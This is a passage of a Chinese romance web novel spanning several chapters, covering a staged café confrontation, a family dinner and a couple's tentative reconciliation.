偌大的咖啡厅,一时间指责声此起彼伏,宋清殊和那几个女孩同仇敌忾,怼得那男人说不出话来。
相亲男一气之下,摔了个咖啡杯,就要推搡站在最前面的宋清殊。
“臭娘们,跟你有什么关系?别以为我不打女人!”
他嘴里骂骂咧咧,手已经推上了宋清殊的肩。
这时,站在一旁一直没作声的盛熙川,一个箭步冲上来,伸手抓住了他那只胳膊。
他攥着那只胳膊反方向一折,随着“咔嚓”一声,不知是骨折还是脱臼了,相亲男顿时惨叫一声,白了脸。
“你另外一条胳膊还想要的话,现在就给我滚。”盛熙川冷冷道。
相亲男显然没认出他。
“打人了,我要报警!”他不仅不走,还发出杀猪一般的嚎叫。
没人在意他会不会报警。
盛熙川耸耸肩:“你随意。”
“没事,先生,我们给你作证,是她先动手推你太太的,你这么做只是为了保护你太太。”一个女孩说。
“对,我们给你作证,他先动的手。”另一个也说。
“你太太”这三个字极大地取悦了盛熙川。
他勾唇:“多谢。”
女孩们被他这个模样迷住,都呆了呆,又看一眼宋清殊,心说这个漂亮姐姐真的好福气。
相亲男叽叽歪歪,用另一只手掏出手机,还没拨号,王千巽和一个女孩挽着手臂走了进来。
那女孩很高挑,脸上带着甜甜的微笑,眼神却劲劲儿的,一看就不是善茬。
宋清殊心想,想必这位就是王千巽的女朋友柳素月了。
“干什么这是?”
王千巽见到这一幕,甩开柳素月直接冲了过来。
王岁岁原本就难堪的涨红了脸,此时见了王千巽,直接扑进了他怀里,落下泪来。
“没事没事,哥哥在呢。”王千巽拍着她的背安抚她,瞪了相亲男一眼。
“你就是她哥哥吧?”其中一个刚才仗义执言的女孩问王千巽。
得到肯定的答案后,都没用宋清殊说话,几个女孩七嘴八舌就把事情跟王千巽说了。
“说你妹妹得陪嫁个宝马X5,还要去做个基因检测才能嫁给他,免得生了孩子遗传。”
“听你妹妹不同意就破防了,骂她是哑巴,觉得她不识抬举。”
“这男的,就是看中你家钱了!”
她们战线出奇的统一,都在指责面前的软饭男。
王千巽一想到王岁岁当着那么多人的面被羞辱,更是杀人的心都有了。
他冷笑:“你这个人,没有镜子,总有尿吧?就你这德行的,还惦记上我妹妹了?”
相亲男寡不敌众,只好看了一眼一旁的柳素月:“素月,相亲是你给我介绍的,你倒是说句话啊。”
柳素月在看到王岁岁扑进王千巽怀里时,眼神就已经变了,此时一听,更是变了脸色。
她冷笑一声,怒斥道:“杨帆,我是把你当朋友,才把岁岁介绍给你,你居然这样羞辱她?
要知道你是这种人,我怎么也不可能把岁岁介绍给你!”
“我真是看错了人!”柳素指着门口的方向,“你现在走,以后我们再也不是朋友了。”
第307章 将计就计
见柳素月发脾气,相亲男有点不敢置信。
他先是眨了眨眼,好像在反应她的话。接着,突然狂躁起来,吼道:“柳素月,你也太不地道了。这难道这不是你说的?你说她虽然是哑巴,但是家里疼她,肯定给的多。
而且她有缺陷,怕我不要她,一定会听话。以后我在外面玩,她也不敢管。让我不管怎么样一定要把她搞到手!”
此言一出,周围顿时安静下来,针落可闻。
柳素月一张脸顿时皱成一团,比吃了屎还难看。
“你胡说什么?我什么时候说过这话了,杨帆,你简直血口喷人!”
“你怎么没说过?这些话都是你说的,你敢发誓,自己绝对不是这个意思吗?”相亲男已经开始咄咄逼人了。
此时,他的敌人,从刚才为王岁岁伸张正义的一众女人变成了柳素月一个,他也不顾胳膊的疼,指着柳素月的鼻子,跟她杠上了。
“柳素月,你装的跟个好人似的,别以为我不知道你什么心思。你不就是自己马上要嫁过去了,看未来的小姑子碍眼嘛!还想拉我出来背黑锅,在这个时候不帮我说话也就罢了,还想撇清关系,你想的美!”
相亲男这番话,让整个场面的风向都开始变化。
所有人的目光都从他脸上集中到了柳素月脸上。
“这女的怎么这样啊?还没嫁到人家里呢,就嫌人家妹妹碍眼了,控制欲也太强了吧。”
“我天,这也太茶了,小妹妹真可怜,又不会说话,以后指不定怎么受委屈。”
周围人议论声四起,而且声音并不小,就是想让她是听到一样。
柳素月被围困,脸上红一阵白一阵,难看极了。
突如其来的状况让她心虚到不知该如何辩解,只是反复道:“不是的,我就是觉得岁岁一个人挺孤单的,想让她有个好归宿!”
柳素月又转头看向王千巽。
此时,王岁岁还在王千巽怀里哭,连头都没有抬。王千巽寒着一张脸,面色难看极了。
“千巽,他真的是乱说的。我没有那个意思,我只是看岁岁不小了……”她小声解释。
王千巽冷笑:“柳素月,我知道你一直接受不了岁岁的存在。
上次你背着我跟她说些有的没的,逼着她出去找男朋友,让她碰上了个贺栖棠那样的货色,害她受伤,我没有说什么,已经够宽容了。
可你实在不该找这么个东西来羞辱她。
岁岁是我妹妹,她一辈子不想嫁人,我就养她一辈子,还用不着你多嘴。你已经触及到我的底线了。”
王千巽这番话说得很重,一听就不是气话,
柳素月抿着嘴,脸色难看到了极点。
她很下不来台,又不想失去王千巽这个钻石王老五。
“千巽,你听我解释……”柳素月的声音没底气到了极点。
“够了,我们分手吧,以后不要再联系了。”王千巽冷冷道。
说罢,他直接抱起了王岁岁往外走,没有丝毫的留恋。
只是对宋清殊和盛熙川道:“多谢,我先把岁岁带回去,回头聊。”
两人点点头,目送他们到门口。
一场闹剧,以王千巽把王岁岁带走而终结。
柳素月和相亲男显然也不想被围观,很快低着头走出了咖啡厅。
在咖啡厅外面,他们又大吵了起来。
声音大得在里面的人都能听得清清楚楚。
“我的确跟你说她家条件好,娶了她你少奋斗十年,可我什么时候跟你说那么难听了?杨帆,你就是往我身上泼脏水!”
“切,少装蒜了,你就是这个意思,不过就是被我说出来罢了。柳素月,你敢说,你把她介绍给我,不是因为不想结了婚看见她?”
宋清殊叹了口气:“岁岁这么好的小姑娘,可惜不会说话,就遭遇这样的待遇。”
她实在心疼。
“但她够聪明,知道将计就计,让她哥哥在结婚前就发现了对方的真面目,也挺厉害的。”盛熙川说。
“哈?”
他在说什么?宋清殊不解。
此时,围观了全程一言未发的珍珠小朋友,在牛奶杯中抬头:“这件事的确没有看上去那么简单,刚才那个男的发表奇葩言论的时候故意很大声,一边说一边看岁岁阿姨的脸色,表演痕迹还是挺重的。”
宋清殊:“是吗?”
她这个位置跟相亲男是同一个方向,确实看不到他的表情,但她也觉得他的声音太大了,又不是什么光彩的事,那么大声做什么。
听珍珠这么一说,也开始困惑了起来。
“所以,这其实是一场表演吗?”
“应该是这样。”珍珠煞有介事地给宋清殊分析,“那位姓柳的阿姨把那个男的介绍给岁岁阿姨也没安好心,所以,岁岁阿姨干脆将计就计,把他拉拢了过来,表演给王叔叔看。”
“这么确定?”宋清殊不敢置信。
盛熙川:“大差不差。判断没错的话,王岁岁给了那个男的钱,让他把这件事闹大。”
珍珠:“包的,妈妈。”
她嘴上沾了一圈牛奶,疯狂点头的模样可爱极了。
宋清殊突然不想说话了。
这件事怎么说呢,当然怪不得王岁岁,小姑娘只是自保,并没有特地跑到咖啡厅这种公共场合卖惨,也并没有想着煽动舆论的力量。
王岁岁想要的,不过是她最亲的哥哥发现柳素月的真面目罢了。
是她自己看不过去了,跑过去仗义执言,为王岁岁出头。连带着,让好几个小姑娘跟她一起做了出头鸟。
还害得盛熙川差点跟那个男人起冲突。
她突然觉得自己有点蠢。
宋清殊尴尬,跟盛熙川和珍珠比起来,她觉得自己的智商实在有点不够看。
她脑子快速运转,只想找个话题赶紧把这件事翻篇。
偏偏珍珠要点破。
“妈妈,你是不是觉得不好意思啊?没关系啦,你能那么勇敢地站出来保护别的女性不被欺负,就是我的榜样了!”
这话实在不像一个三岁半小女孩该用来安慰妈妈的。
宋清殊:“……宝宝,怎么你越安慰我,我越觉得心酸呢。”
盛熙川笑,替她找台阶:“这有什么?可能因为你是钢铁直女,对感情里的小套路不太懂吧。”
第308章 巽岁
说起感情里的小套路,宋清殊又想起上次贺栖棠事件时,盛熙川说,王岁岁是故意要王千巽发疯。
当时她还将信将疑,再结合今天发生的事,她也开始这么认为了。
很多事情就是这样,人不往那方面想就永远隔着一层雾,可一旦想到了,便越想越是那么回事。
宋清殊越想,越觉得王千巽和王岁岁居然还很般配。
他们一个是斯文儒雅的社会精英,一个是漂亮得洋娃娃一样智力超群的围棋少女,很好磕。
关键是,他们绝对是心里非常有彼此的,不管是眼神还是行动,都可以看出来。
他们可以在一起吗?
按理说,王岁岁的母亲去世,王千巽的父亲出家,他们的婚姻关系已经解除了,王岁岁又已经成年,也不存在收养关系一说。
在法律上没什么不能在一起的。
估计两人过不了的是自己心里那道坎儿吧。
而此时,王千巽已经把王岁岁带到了自己车上。
天气太热,车停的又不是很近,两人都出了一身的汗。
即便这样,中途王岁岁抬起头来,多次用眼神和行动示意王千巽自己能走,王千巽也没有放下。
一直到了车里。
王千巽将王岁岁安顿在自己的副驾。
关上车门,才目光沉沉地看着她:“说说吧。”
王岁岁露出疑惑表情。
王千巽都快气笑了:“装傻是吧?难道不是你给了张杨钱,让他陪你演戏?”
一时间,王岁岁无辜的神情被慌乱代替,她好容易缓和的神色,又开始红白交加。
他是怎么知道的?
王岁岁心慌,摸出手机打字:【对不起,哥哥。】
王千巽冷笑:“对不起?做事之前怎么不想想后果呢?”
王岁岁低头,此时终于像一个做错事的孩子,再不敢看王千巽的眼睛。
王千巽看她垂着头快哭了,心里一软。
“你错哪儿了?”他强忍着不哄她,而是淡声问。
【我不该这样】王岁岁说。
显然这个答案不能让王千巽满意。
他依然神色不豫,语气也很不好:“不该哪样?”
最不堪的心思和秘密被撞破,王岁岁头垂得更低,只觉得无地自容。
从今以后,哥哥一定会觉得她是一个耍心机的女孩吧。
【我不该耍心机,做这样的事。对不起,我去跟柳小姐道歉。】
她打字的手在颤抖,下唇被自己咬的发白。
王千巽眉心直跳。
他天生直觉惊人,只觉得那个相亲男出卖柳素月的行为实在反常,至于哪里不对,他具体又说不上来。
刚才不过是试探王岁岁一句,没想到这家伙如此痛快地招了。
他伸手扳住王岁岁的双肩,将她的身子转过来面对自己。
“岁岁,跟哥哥说实话,到底怎么回事。”
王千巽语气很严肃,王岁岁抬头,跟他四目相对。
不同于以往的温柔,此时,王千巽的眼神很严厉。
王岁岁在心里打了个突,别过眼去。
“岁岁,看着哥哥!”王千巽声音拔高,语气里带着十足的压迫感。
他生气中带着失望的模样,王岁岁全看在眼里。
她心底一慌,习惯性飙出一滴眼泪来。
她摇头,打手势,第一次觉得不会说话这样无助。
她慌乱的模样让王千巽心软。
“不怕,哥哥不逼你,你慢慢说。”
他握住她一只手,被冰凉的触感激了一下。
这样热的天,明明刚才还在出汗,怎么手凉成这个模样?
她在害怕什么?
看王岁岁着急的模样,王千巽的心疼早就大过了生气。
是他不让她学手语,告诉她要心怀希望,知道自己总有一天会再次开口说话,才害她即便是在这种情况下,还要打字交流。
“你不着急,哥哥有的是时间听你慢慢解释。”
他先让自己情绪稳下来,又握着王岁岁的手哄她。
他的手,温暖干燥,让王岁岁一点点稳定下来。
王千巽收起强撑的严厉,用眼神鼓励她:“岁岁,乖,慢慢说,你说什么哥哥都会相信你,只要你如实告诉哥哥。”
他恢复了以往的语气,王岁岁也肉眼可见地慢慢平静了下来。
她的手掌在回暖。
王岁岁又拿起手机。
【今天张杨说的那些话,的确是柳小姐的意思,我没有诬陷柳小姐,只是给他转了2万块,让他又大声把那些内容重复了一遍。
哥哥,柳小姐不能接受我的存在。】
王岁岁举了手机给王千巽看。
王千巽陷入短暂的沉默中,之后缓缓说:“哥哥知道她有点介意,只是没有想到介意到这个程度,更没想到会给你造成这么大的心理负担,是哥哥疏忽了。”
王岁岁赶忙摇头,又打下一句话:【这件事是我太任性了,明明有更温和的解决方式。我会去跟柳小姐道歉,等下个月一毕业,我就离开王家,以后再也不会让哥哥为难。】
王千巽的声音再次拔高:“什么意思?王岁岁,你是在闹脾气,还是在威胁我?”
王岁岁拼命摇头。
【不是哥哥,我只是觉得自己不能再耽误你了。】
说这话时,她明显底气不足。
心里明明恨不得王千巽一辈子不结婚,只跟她在一起。可她又知道自己的情况配不上他,才终日陷入矛盾痛苦中难以自拔。
“耽搁?”王千巽冷笑一声,“要是真怕耽搁我,你今天就会忍气吞声,而不是宁愿花钱也要揭露柳素月的真面目。”
天知道,在刚才王岁岁说要离开王家时,他的心都揪了一下。
王岁岁垂下头去。
小孩子做错事的心虚表情落入眼中,王千巽的语气这才稍有缓和。
“不要跟哥哥耍花样,岁岁,你别忘了,哥哥是这个城市最好的心理学研究者。”
王岁岁不再打字,把手机也放在了一边。
多说多错,她不知道该怎么办才好。
最终还是王千巽叹了口气:“好了,哥哥原谅你了。但以后再碰到这种事,不要自己解决,要第一时间告诉哥哥,好不好?”
王岁岁赶忙点头。
她乖觉的模样让王千巽神色缓和下来。
时间已经到了晚上,“兄妹”两人又一起在外面吃了晚饭才回去。
谁也没有再提柳素月,她是最不要紧的人。
王岁岁表面平静下来,心里却始终紧绷着一根弦,一直到晚上,洗漱完一个人躺在床上,她才终于露出一个放松的微笑来。
这一仗,她是不是又赢了?
第309章 借展展吉言
宋清殊和盛熙川又坐着喝了会儿咖啡。
珍珠不像孩子,也有不像孩子的好处。
比如她在公众场合基本不说话,更别提大喊大叫,做出一些引人注目的行为。
她静静地坐着,脸还没有面前的牛奶杯大,一双圆圆的大眼睛点缀在粉圆的脸上,乖巧又漂亮,不少人都在看她。
跟爸爸的硬朗,妈妈的柔美不同,她长得自有格调,却又能让人一眼看出,是面前这对男女的孩子。
有店员一直看她,后来拿了一个巴掌大的公仔过来送她,哄她开心。
珍珠回忆下午在表演馆时那些看奥特曼大战哥斯拉的小孩脸上的反应,有样学样,做出兴奋表情。
“谢谢姐姐。”
店员欢喜地捏捏她的小脸去了。
之后,珍珠把公仔递给宋清殊。
“妈妈,借花献佛送给你。”
她惊人的观察力再次上线,发现了宋清殊在店员送上玩偶的那一瞬间表现出的喜欢。
“谢谢宝宝。”
宋清殊知道珍珠对毛绒玩具无感,也不客气,接过来挂在了自己的包上。
珍珠:“不客气,妈妈,毕竟咱们三个里你最幼稚。”
宋清殊:“……你是不是想说妈妈最不聪明?”
竟然没看出王岁岁是将计就计,要站起来替她出头。
这事当然怪不得王岁岁,小姑娘也是被逼急了,又不会说话,坐在咖啡厅里听那样羞辱的言语,已经是伤敌一千自损八百的酷刑。
但宋清殊就是觉得自己好傻,傻到她有点尴尬。
“但在你的助攻下岁岁阿姨目的达到了,妈妈做了件好事。”珍珠安慰她。
这个安慰只能说……聊胜于无吧。
就着这件事,宋清殊和盛熙川又简单说了两句王千巽的话题。
但碍于珍珠在场,谁也不敢往深了说——
除了珍珠本人。
珍珠:“王千巽叔叔和王岁岁阿姨互相喜欢。”
这是肯定句。
宋清殊皱眉:“这你都能看得出来?”
她现在听珍珠说话,都判断不出真假,总觉得玄之又玄。
珍珠:“很明显啊。就像妈妈和爸爸也互相喜欢一样。”
盛熙川先抬头,给宋清殊一个“不是我教的”的无辜眼神,唇角却先勾了起来,好整以暇地等宋清殊的反应。
他的女儿才三岁多就这么顶事儿了,还真是让人欣慰。
宋清殊无语地想,珍珠这孩子哪都好,就是时不时语出惊人,容易让人尴尬。
她不想就这个问题深聊,看一眼珍珠面前的牛奶杯:“你要是喝完了,咱们就去找外婆。”
珍珠雪亮的眼睛盯着宋清殊不放:“妈妈,你别害羞嘛。”
宋清殊拒绝这个话题。
她拿出饮酒的豪情,把杯中的咖啡一饮而尽,之后站起身来。
“我们该走了。”她对盛熙川说。
盛熙川不敢耽搁,起身把珍珠抱下高脚凳。
6点,他们跟陆夫人在一家私房菜集合。
吃饭的人有七个:陆夫人母子,宋清殊“一家三口”,霍宗辞和莫兰溪。
虽说,这里面的关系除了陆夫人母子,剩下的都相对错综复杂,但看上去倒像是标准的家庭聚餐。
珍珠原本就跟莫兰溪关系好,多日不见,一见她便走过去,叫了声“兰溪阿姨”。
她原本也不像其他小朋友一样撒娇,这已经是极大的示好。
莫兰溪抱起珍珠,亲了亲她的小脸。
宋清殊和盛熙川也都同霍宗辞打了招呼。
几个月没见,霍宗辞看上去比在上京的时候滋润了一些,双颊上多了一点肉,头发也剪短了,虽然依然比普通男人更瘦,但看上去有了点居家的“人夫感”,不似过去,像个画报上的人,没有丝毫烟火气。
他的腿伤还没有完全好,走路时稍微有些跛,但不妨碍他模样英俊,玉树临风。
进包厢门时,有个门槛,莫兰溪下意识回头看一眼他。
这个动作,宋清殊看在眼里,勾了下嘴唇,却发现众人都心照不宣,各自勾了下唇。
包括珍珠和陆展。
莫兰溪和霍宗辞都有变化,一个没有过去那样固执古板了,一个多了点“人味儿”。
宋清殊细细观察他们,如莫兰溪所说,霍宗辞的确长得比她好,但他们坐在一起并不违和,依然CP感满满。
而且,他们的颜值差距并不影响两人看上去就是天造地设的一对。
宋清殊不知道两人在坚持什么,到现在还没确定关系。
但这个想法也就一瞬间。
她随即想,估计别人看她和盛熙川也是一样的。
毕竟莫兰溪都说,她还多个孩子,更是不可抗力。
都是有分寸的人,这顿饭的目的又是为了感谢盛熙川,自然不会有人主动煞风景,说一些让人下不来台的话。
陆夫人先是带着陆展给盛熙川敬了杯酒。
感谢他为陆展所做的一切。
陆展举着杯中的果汁,下意识说了声“谢谢姐夫”,意识到不对,才又慌忙改口叫盛先生。
陆展跟盛熙川的交集还都是四年前,盛熙川还是他姐夫的时候。后来盛熙川和宋清殊离婚,两人也没打过交道了,叫错也算正常。
但陆展自己尴尬,先红了脸。
盛熙川不动声色地喝了杯中酒,给他台阶:“那我借展展吉言。”
一句话,桌上的几个人都笑了,除了宋清殊。
宋清殊知道自己不是多心,从某个时间点开始,盛熙川对她已经换了“战略”。
他不再集中火力,穷追猛打,而是把“求复合”这件事,润物细无声的渗入到了生活里。
他不介意把想复合的心昭告天下,好像也不怕失败了难堪,也可能根本不觉得自己会失败。
总之,他不扭捏不避讳,大大方方地告诉所有人,他就是想赢回宋清殊的爱。
该死的,宋清殊偏偏非常吃这一套。
对她来说,润物细无声,远胜于上刀山下火海来得打动人。
她性子淡,这样刚刚好。
宋清殊自己都没注意到,她在盯着盛熙川出神,以至于陆展端着酒杯到了她旁边,她还愣了一下,才回过神来。
第310章 又上热搜
陆展敬了宋清殊酒,又依次敬了霍宗辞和莫兰溪。
虽说不管是盛熙川和宋清殊,还是霍宗辞和莫兰溪,现在都不是情侣关系。但陆展的举动,绝对像小舅子敬姐夫。
包厢内的氛围也温馨,像两个女儿带着丈夫孩子回来跟母亲和弟弟团聚。
这顿饭,宋清殊和莫兰溪这两个女儿相对沉默。反而是盛熙川和霍宗辞两个“女婿”,全程在跟陆夫人有来有回的聊天。
陆夫人本就情商智商都在线,是个绝不让人难堪的人,她们三人很有些相谈甚欢的意思。
“花都养人。”陆夫人看着霍宗辞笑,“连宗辞都胖了点,看着气色好了。”
霍宗辞握着酒杯“嗯”了一声。
“因为跟听澜做邻居,她做饭给我吃。”
只有他会叫莫兰溪过去的名字,听澜。
陆夫人笑:“独自留过学的人,做饭都好吃。不然吃白人饭会饿死在异国他乡。”
珍珠淡淡接茬:“我妈妈除外。”
陆夫人:“因为你妈妈留学的时候,外婆怕她吃苦,送了两个保姆跟着。但兰溪阿姨是只身一人过去的。”
说完,看向莫兰溪也有些感慨:“可说呢,那时候我怎么放心让你一个人去的?我有钱,给你雇个保姆也不值什么,怎么就没想到。”
莫兰溪摆手:“姑姑,那时候能给钱资助我出去留学,已经是救我于水火了。我都不敢想,如果留在国内,我会怎么样。”
会怎么样,她没说,但陆夫人和霍宗辞显然都听懂了,两人的眼神都在那一瞬间变得柔软。
这件事点到为止,就这么过去了。
陆夫人又问了问霍宗辞母亲的身体,后来,又关心了一下他的生意。
霍宗辞有本事,短短几个月时间,他已经把公司打理的井井有条,开启盈利模式。
说起业务上的事,盛熙川感兴趣,两人聊了聊,发现有互通的部分,可以合作。
自从发现霍宗辞的目标并不在宋清殊后,两人谁也没有主动说什么,但竟然奇异地化“敌”为友了。
一顿饭,吃得宾主尽欢,结束时已经晚上10点多。
众人在停车场告别。
还没进走到车前,宋清殊脚步一顿,目光停留在不远处。
“在看什么?”盛熙川问她。
宋清殊摇摇头:“兴许是我看错了。”
在停着的车中穿过去一个人影,好像是季卿。
答应了季春望可以让季卿回来,这都一个星期过去了,她肯定已经回来了。
就是不知道在国外的这几个月季卿有没有长进,能不能乖觉一点。
宋清殊打定主意,过去的事就过去吧,只要季卿不主动找茬,她也既往不咎。
毕竟大好的人生浪费在这些人和事上没意义。
盛熙川照旧回丹峰公馆住。
车子在停车场停好时,珍珠已经睡着了。
盛熙川绕到后排将她抱起来,跟宋清殊一起上楼。
在电梯里两人交流几句。
盛熙川不知是没话找话,还是真的好奇,问她:“总被珍珠开咱们两个的玩笑,你会觉得尴尬吗?”
宋清殊:“有点,不过能接受。”
想了想,又反问:“你是不是想说如果我觉得尴尬,你就私下跟她谈,让她不要这样?”
盛熙川点头:“因为那些话听着太像我教的,我又是个‘既得利益者’,难免心虚。”
宋清殊睨他:“你得什么利益了?”
盛熙川:“嘴上便宜也是利益,毕竟我女儿一直在帮我追老婆。”
“追老婆”三个字让宋清殊双颊有点烫。
“你女儿睡着了,也没见你少占便宜。”她说。
语气听不出是调侃还是生气。
盛熙川靠近她,两人的鞋尖抵在一起。
“我猜,进度条已经快加载完成了。对不对?”他轻声问。
宋清殊不置可否:“你猜。”
“我猜,宋清殊,你已经快妥协了。”
盛熙川站得太近了,两人明明没什么肢体接触,但独特的属于他的气息裹挟着她。
宋清殊突然觉得电梯里的空气有点稀薄,她的心跳也一点点加速。
他猜对了。
“叮——”
电梯终于到了她的楼层,宋清殊如释重负。
盛熙川抱着珍珠,一直跟着她进家门,将珍珠安顿在她的卧室。
立在主卧门口,盛熙川依然固执地看她:“宋清殊,你还没给我答案。”
宋清殊推他一把:“你先回去睡觉,明天告诉你。”
她仿佛在经历大考来临前的夜晚,明知道一晚上临时抱佛脚的复习没什么卵用,可就是想拖一拖。
“我不急,别说等你一晚,等一年,一辈子都行。”盛熙川说。
嘴上说不急,行动上却伸手攥住了她推自己的那只手。
两人面对面站着,呼吸相闻,手握在一起。
一个低头,目光直白,一个微微仰着头,目光躲闪。
两人就这样持续了至少半分钟。
盛熙川放手。
“晚安小宝。”盛熙川终于肯放开她,走出门去。
这一晚上,两人都各怀心事,洗漱完躺在床上胡思乱想,谁也没看手机。
宋清殊也是第二天早上,醒来习惯性看新闻,才发现自己又上了热搜。
热搜第一条【盛熙川 宋清殊】
第二条:【盛熙川和宋清殊疑似复合】
……
点进去才发现,不知是哪个网友拍到了昨天她和盛熙川带着珍珠,“一家三口”在公园玩耍,和看演出的画面。
此时,手机突然震动。
盛熙川的微信发来:【醒了吗?】
﨔
第311章 给你答案
宋清殊回:【醒了,也看到了热搜。】
盛熙川:【我现在去找你,会打扰吗?】
宋清殊爬起来揉了揉眼睛,想了想,家里人多,麻烦:【还是我去找你吧】
盛熙川回了个【ok】的手势,说:【等你吃早饭】
宋清殊没有推辞。
她迅速刷牙洗脸,衣服都没换,直接穿着睡裙出门,坐电梯上楼,按响盛熙川的门铃。
没想到,开门的盛熙川规规矩矩穿了衬衫长裤,跟她形成鲜明对比。
宋清殊看得诧异:“你这是要出门吗?出门的话就回来再说,不急。”
盛熙川摇头,看她的模样迅速了然弦外之音,笑道:“不出门,就是在等你。”
原本是怕自己穿家居服接待她太唐突,让她不自在。
可这样看,宋清殊自己都穿着卡通图案的睡衣,她倒是没有那么在意这些。
盛熙川将她让进门,早餐已经摆在了客厅的桌子上。
是过去宋清殊在别墅常吃的东西,烧卖,虾饺,燕窝粥之类。
“别墅那边的厨子刚送来的,先吃点别的,你的粥还在灶上。”盛熙川说,替她拉开椅子。
宋清殊抬眼:“我吃这些就行,哪里需要那么麻烦?”
“不麻烦,给你发微信的时候就煮上了,估计还有20分钟吧。”盛熙川说着又往厨房走,“我去看一眼。”
宋清殊干脆也跟着去了厨房。
粥已经煮开了,被盛熙川调了小火。
宋清殊立在厨房门口,看他用木勺搅动着砂锅里的粥,心里莫名有暖意。
“饿的话先去吃点别的垫一下肚子。”盛熙川又说。
宋清殊摇头,站在门口只是一味看他。
盛熙川穿简单的白衬衫,黑色西裤,站在厨房里,不仅不违和,竟然还有种满满的人夫感。
分开四年多的时间,他们都有所成长。盛熙川眼里的桀骜不驯一点点退去,添了更多的温和与从容。
宋清殊觉得,如果她和他不是五年前相遇,而是现在遇到彼此,他们的感情不会磕磕绊绊,也不会收场的那样难看。
那时候的他们实在是不懂爱,又差一点缘分。
正因如此,才把一步之遥走成了万水千山。
别人遇到喜欢的人,是相见恨晚。
只有她,觉得自己和盛熙川的相见太早了些。
她看着他的侧影,目光有痴迷的意思。
盛熙川说话时看了她一眼,又很快转头看锅,并没有看到她摇头的动作。
搅动了一会儿锅里的粥,没听到回答,便又转头往门口看。
此时,宋清殊的眼神还没来得及收回。
四目相对,盛熙川听到他的心发出“砰”的一声。
“你要不要去餐厅等?”他不动声色地赶人。
再不把她赶走,他引以为豪的自制力,怕是要失效。
宋清殊安静看他:“不要,就在这儿等。”
盛熙川在心里叹口气,放下手里的木勺,走到她跟前去。
跟昨晚一样,他同她贴得很近。
他太高,需要弯着腰迁就她。
两人的鼻尖几乎贴在一起,呼吸相闻。
“宋清殊,你不走的话,我还要问昨晚那个问题。”
宋清殊用眼神打了个问号,努力眨了眨眼,才把这句话跟昨晚衔接上。
她的心脏颤了颤,需要攥紧垂在身侧的手,才能让自己看上去平静又理智,说出准备好的话。
“我可以给你答案。”宋清殊缓缓说,“进度条已经加载完成,但是……”
“但是”后面往往是最恼人的话。
盛熙川的心脏也紧了紧,他像一个等待裁判宣布成绩的竞赛选手,忐忑不安,又满怀期待。
“盛熙川,如果我说,我们朋友的阶段已经完成,我们可以试着交往看看,但又不是马上在一起,不能马上牵手接吻拥抱……你可以接受吗?”
“比如,什么时候可以牵手逛街,什么时候可以接吻,什么时候……那个……这些事的节奏,希望由我来把控。”
这番话,宋清殊考虑过非常久。
她不排斥跟盛熙川重新来过,却害怕把自己交出去后,要重走一遍老路,最后依然落个跟上次一样的结局。
身心和爱意一旦交给别人,势必久假而不归。
这次,她要自己掌舵,为这段感情保驾护航。
但说出这番话,她也觉得矫情。
再有半年,盛熙川就32岁了,而她,也在不久前过完了28岁的生日。
两个熟男熟女谈恋爱,还是连孩子都生过的人,不接吻不睡觉,搞纯爱,说出去也有点搞笑吧。
但她直面自己的内心,想要的就是这样简单。
在宋清殊说出前面的话时,盛熙川的脑子已经一片空白。
他的理解能力在这一刻开始失灵。
不是不高兴玩纯爱,而是生怕自己会错了意,自作多情,长出小丑的红鼻子来。
盛熙川逼自己冷静,用几分钟时间在脑子里过了一下宋清殊的话。
这是……答应重新跟他在一起的意思吧?
他定在当场,想说话又找不回自己的声音,胸腔里是夏日的蝉鸣,聒噪又激越。
宋清殊说完也有点不好意思。
“你要是不能接受的话……”
“我能接受。”盛熙川强行找回自己的声音,他不知道自己的尾音在抖。
“宋清殊,我可以把这句话理解成:你允许我正式追求你的意思吗?之后,你按照我的表现,选择对我进行奖励还是惩罚。”
奖励是可以拥抱接吻更进一步,惩罚是退回朋友的位置,甚至连朋友都没得做。
宋清殊沉吟两秒:“差不多。”
她想表达的也是,她可以接受他一点点进入她的生活,也可以陪他一点点修复他们的关系,但要循序渐进。
而不是一上来就回到四年前的状态,假装这四年多的裂痕不存在。
这么做的确有点矫情,可怎么也比她心安理得地接受他的好,又不给他一点希望的好。
“我要是提这样的要求,你会觉得我这个人很装,又当又立吗?”宋清殊轻声问。
这次,盛熙川没有犹豫。
他马上说:“不会。我说过,你怎么对待我都不过分,宋清殊,你甚至可以把我的命拿走。”
他对自己过去的所作所为耿耿于怀,宋清殊愿意给他这样的机会,已经是意外之喜。
惊喜来的太突然,盛熙川没有一丝准备。
有什么东西从死寂荒芜的心田里破土而出,他在那一刻潮了眼睛。
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第312章 推心置腹
宋清殊自然没有错过他的微表情。
两人凝视彼此,眼神里都百转千回,有的是话要说。
盛熙川太激动,以至于,喉咙像堵了团棉花似的卡,他从来没觉得自己的表达能力这样差过。
锅里的粥已经沸腾到扑出来,米汤溅到煤气灶上,滋啦作响,盛熙川的全部注意力都集中在宋清殊脸上,一点都没听到。
还是宋清殊才率先反应过来。
“你先关火,我们去客厅说。”她当机立断。
盛熙川也不再坚持。
“好。”
他明明做什么都迎刃有余,头一次露出手忙脚乱的窘态,试了两次,才把煤气灶的旋钮,扭到OFF位。
怕盛熙川尴尬,宋清殊不敢笑他,只权当没看到,先抬脚往外走。
两人回到客厅去,像商业谈判那样面对面坐好。
宋清殊先开口::“盛熙川,我最近其实是有一点心理压力的。”
盛熙川点头:“我知道。有时候理智明明知道不该逼你太紧,一看见你,却又昏了头。
这段时间,不管是我还是珍珠,说了太多要你回头的话。
虽然有时候是玩笑的性质讲出来,但肯定给你造成了很多心理负担。”
他果然懂,两人说的是同一件事。
盛熙川不得不说出一些违心的话:“如果,你想给我机会,只是因为被我和珍珠逼的太紧,可以再重新考虑考虑。”
这话说出口,盛熙川整颗心猛地提起来。
如果宋清殊说好,那还是好好考虑考虑吧。
他估计死的心都有。
宋清殊看着他,微微抬了一下眉:“你真这么想?”
“当然不。”盛熙川快速说,“我刚才抽风,说话不过脑子,你忘记那句话。”
他神情八风不动,只是耳朵尖有点红,眼神也有点尴尬,昭示着此刻的不平静。
宋清殊觉得他可爱。
过去,是她太不解风情,只看到了盛熙川冰冷和难伺候的一面。
如今随着时间的推移,她成了一个熟女,也略懂了男女之间这点事,觉出了几分不一样来。
宋清殊微笑了一下,她实话实说:“拒绝你其实没那么难,毕竟你足够理智,又是成年人,我没有那么怕你伤心。
可我实在是拒绝不了珍珠。
她虽然表演的成分居多,可那种期待一家三口在一起的样子,真的让我心疼。”
本以为,她会是一个不被母职绑架的母亲,不会牺牲自己,只为孩子而活。
可珍珠的存在,无数次让她自我怀疑,当初“去父留子”的选择是不是正确的,她是不是太自私了。
